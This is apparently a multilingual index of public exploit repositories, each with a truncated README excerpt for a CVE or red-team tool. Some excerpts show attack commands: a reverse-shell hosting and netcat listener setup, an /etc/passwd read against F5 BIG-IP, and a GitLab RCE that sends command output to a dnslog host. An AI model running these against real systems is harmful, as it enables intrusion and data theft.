CVE-2022-35737

CVE-2022-35737 Целочисленное переполнение в функции SQLite3 sqlite3strvappendf. CVSS 6.7 AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H CVE-2022-35737 была представлена в SQLite версии 1.0.12 и исправлена в релизе 3.39.2, доступном с 21 июля 2022 года. Она эксплуатируется на 64-битных системах, и возможност...

CVE-2023-26262

Sitecore 10.3 Уязвимость аутентифицированной загрузки файлов Автор: Thomas Stern Дата: 26/01-2023 Краткое описание Через функционал импорта языков можно загрузить произвольный файл. Этот файл может быть веб-шеллом, который позволит выполнять код на сервере. Шаги для воспроизведения Для тестирован...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit Comment faire 1. Créez un reverse shell PHP 2. Démarrez un serveur pour héberger le shell dans le même répertoire python3 -m http.server 3. Démarrez un listener netcat sur un port local de votre choix exemple : nc -nlvp port de votre choix 4. Exécutez l'exploit comm...

CVE-2024-8425

WordPress WooCommerce Ultimate Gift Card = 2.6.0 - 인증되지 않은 사용자의 임의 파일 업로드 CVE-2024-8425 WordPress용 WooCommerce Ultimate Gift Card 플러그인은 'mwbwgmpreviewmail' 및 'mwbwgmwoocommerceaddcartitemdata' 함수에서 파일 유형 검증이 충분하지 않아 2.6.0 버전을 포함한 모든 버전에서 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일...

CVE-2016-3088

CVE-2016-3088 Exploit d'exécution de code à distance dans Apache ActiveMQ Description L'application web Fileserver dans Apache ActiveMQ 5.x avant 5.14.0 permet à des attaquants distants de télécharger et exécuter des fichiers arbitraires via une requête HTTP PUT suivie d'une requête HTTP MOVE...

CVE-2024-27198

CVE-2024-27198: Jetbrain Teamcity의 인증 우회로 인한 원격 코드 실행 ====================== 개요 TeamCity는 지속적 통합 및 배포 서버로, 즉시 사용 가능한 지속적 단위 테스트, 코드 품질 분석, 빌드 문제 조기 보고 기능을 제공합니다. 이 취약점은 공격자가 인증되지 않은 임의의 엔드포인트에 접근할 수 있게 하는 라이브러리에서 발생합니다. 코드 분석 취약한 코드는 lib 디렉토리의 web-openapi.jar 라이브러리에 있습니다...

WonderCMS-CVE-2020-35314

CVE-2020-35314 - Exécution de code à distance authentifiée dans WonderCMS 3.1.3 Ce dépôt a été créé dans le but de tester la vulnérabilité d'exécution de code à distance sur WonderCMS v3.1.3. Ce faux plugin comprend un shell php backdoor, qui se trouve dans le fichier evil.php. Il est recommandé...

CVE-2022-30190---Follina---Poc-Exploit

Follina - CVE-2022-30190 Follina est un zero-day permettant l'exécution de code dans les produits Office. Installation root@kitploit: git clone https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit.git Usage Example : root@kitploit: python3 FollinaSploit.py -c calc -o poc.docx -p 80...

CVE-2019-8601

Exploitation de CVE-2019-8601 Ceci est un exploit pour une vulnérabilité WebKit qui a été découverte à l'origine par Fluoroacetate lors de la compétition pwn2own à Vancouver. Bien que je n'aie pas découvert ce bogue, j'ai écrit cet exploit pour pratiquer mes compétences en développement d'exploit...

CVE-2026-53757

Emlog , an open-source website building system, is affected in versions 2.6.29 and prior by a Zip Slip path traversal in the emUnZip() function. The function extracts all ZIP entries via ZipArchive::extractTo() but validates the ../ traversal sequence only for the first entry's subdirectory , all...

EH2-PoC

Cacti - Injection de commandes non authentifiée CVE-2022-46169 Ceci est une adaptation simple d'un PoC du scénario Cacti de Vulnhub. Vous pouvez le consulter ici Cacti est un framework robuste et extensible de supervision opérationnelle et de gestion des pannes pour les utilisateurs du monde...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - плагин Canto для Wordpress "Плагин Canto для WordPress уязвим к удалённому включению файла Remote File Inclusion в версиях до 3.0.4 включительно через параметр 'wpabspath'. Это позволяет неавторизованным атакующим включать и выполнять произвольный удалённый код на сервере, при...

CVE-2020-5902

CVE-2020-5902 Script Python pour exploiter la vulnérabilité F5 Big-IP CVE-2020-5902 Exemples Exploitation de la lecture de fichier local : python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploitation RCE : python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Обновление: обход правил с помощью /hsqldb%0a/ для Java-десериализации или /hsqld%b /hsqldb; root@kitploit: /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

CVE-2024-3121

CVE-2024-3121 - Exécution de code à distance RCE dans parisneo/lollms Découvert par : Syed Jan Muhammad Zaidi GitHub : dark-ninja10 Identifiant CVE : CVE-2024-3121 Dépôt affecté : parisneo/lollms 🧨 Résumé de la vulnérabilité Une vulnérabilité d'exécution de code à distance RCE existe dans la...

HoneypotBuster

Module Microsoft PowerShell conçu pour les équipes rouges, pouvant être utilisé pour trouver des honeypots et honeytokens dans le réseau ou sur l'hôte. Exécution de code Exécutez du code sur une machine cible en utilisant Import-Module. Invoke-HoneypotBuster HoneypotBuster est un outil conçu pour...

CVE-2021-22205

CVE-2021-22205 영향받는 버전: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 사용법 root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token 획득: /users/signin을 통해 csrf-token을 획득한 후 앞선 CVE-2021-22205 poc를 사용하여 업로드 패킷을 구성하고 인증되지 않은 업로드 요청을 실행하여 최종적으로 rce를 달성합니다. 참고:...

Sharp-SMBExec

Sharp-SMBExec Une conversion en C natif du script PowerShell Invoke-SMBExec de Kevin Robertson. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Compilé pour .NET 3.5 Utilisation Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

hfs-cve-2014-6287-exploit

Инструмент эксплуатации HFS CVE-2014-6287 Обзор Этот репозиторий содержит инструмент эксплуатации на Python, предназначенный для использования уязвимости CVE-2014-6287 в HTTP File Server HFS версий 2.3.x. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды на сервере, что...

CVE-2023-4634-PoC

CVE-2023-4634 - Vulnérabilité RCE dans le plugin WordPress Media Library Assistant 1. Construction et démarrage de l'environnement root@kitploit: cd Stand docker-compose up --build -d 2. Attente du démarrage des services 60 secondes root@kitploit: sleep 60 curl -I http://localhost:8080 3...